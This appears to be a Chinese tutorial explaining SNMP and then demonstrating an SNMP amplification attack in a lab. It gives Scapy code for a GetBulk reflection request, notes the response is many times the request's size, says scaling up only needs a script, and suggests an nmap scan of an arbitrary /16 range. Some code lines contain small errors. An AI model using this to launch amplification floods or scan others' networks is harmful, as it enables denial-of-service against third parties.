SNMP(Simple Network Management Protocol ):简单网络管理协议
SNMP主要工作原理:通过一台客户端机器向一个被管理的设备发出查询请求获取这台设备当前运行状态的检测等情况,网络监控一般是基于SNMP与Agent。
即:向管理的目标发送指令进行配置设置;网络监控:网络运行状态的监视
在SNMP的服务中,(被监控设备)端口UDP 161为主动查询请求;162端口为监控方在固定时间内受监控端向监控端自动发送查询请求。
同时管理信息数据库(MIB)是一个信息存储库,包含管理代理中的有关配置和性能的数据,按照不同分类(类似树形图),包含分属不同组的多个数据对象(库的设置还需要按照相应格式来进行书写)
应用模型:
SNMP是基于TCP/IP协议族的网络管理标准,是一种在IP网络中管理网络节点(如服务器、工作站、路由器、交换机等)的标准协议。SNMP能够使网络管理员提高网络管理效能,及时发现并解决网络问题以及规划网络的增长。网络管理员还可以通过SNMP接收网络节点的通知消息以及告警事件报告等来获知网络出现的问题。
SNMP管理的网络主要由三部分组成:
- 被管理的设备
- SNMP代理
- 网络管理系统(NMS)
它们之间的关系如右图所示。
- 网络中被管理的每一个设备都存在一个管理信息库(MIB)用于收集并储存管理信息。通过SNMP协议,NMS能获取这些信息。被管理设备,又称为网络单元或网络节点,可以是支持SNMP协议的路由器、交换机、服务器或者主机等等。
- SNMP代理是被管理设备上的一个网络管理软件模块,拥有本地设备的相关管理信息,并用于将它们转换成与SNMP兼容的格式,传递给NMS。
- NMS运行应用程序来实现监控被管理设备的功能。另外,NMS还为网络管理提供大量的处理程序及必须的储存资源。
下面介绍利用SNMP实现放大攻击实战:
工具:2003服务器(192.168.1.106)、kali。
首先配置2003服务器的SNMP服务
#这里团体可以添加公有的与私有的,但是出于安全起见,并不希望添加这么一个团体,因为设置为公有的在公网上可以对其扫描到,然后成为别人放大攻击的帮凶,对于私有的,一旦别人探测并使用了SNMP服务,那么相当于取得了管理员权限可以执行可读可写能力是很恐怖的。
#下面是2003和kali的IP地址
#在kali中进行包的配置,配置选项大概可以如此书写:
i=IP()
i.dst=“1.1.1.1"
i.display()
u=UDP()
u.dport=161
u.sport=161
s=SNMP()
s.community= 'public'
s.display()
b=SNMPbulk()
b.display()
b.max_repetitions = 100
b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID(' 1.3.6.1.2.1.19.1.3'))]
s.PDU=b
snmp.display()
r= (i/u/s)
r.display()
Sr1(r)
#打开wireshark可以观察返回数据包的大小,明明发送的是很小的流量请求,返回的确是很多倍的增长
#可以看到SNMP包的请求大小是95字节,当返回的确是1514*6+216的大小,无疑放大已经生效
#从下面的图中可以看出来,在流量中的数据包是可以看到些许明文的,如果在对信息进行解密处理,那么是能看到明文信息的,这也就彰显了服务器配置团体的作用。
以上就是对于SNMP放大攻击的实战演示,当然这里仅仅是一个数据包,需要发起大量的攻击只需要将包的配置写成脚本即可。
####如果网络上存在SNMP服务的服务端,利用namp是可以扫描出来的。
如:
nmap -sU -p161 200.20.10.0/16
随便指定一个地址段。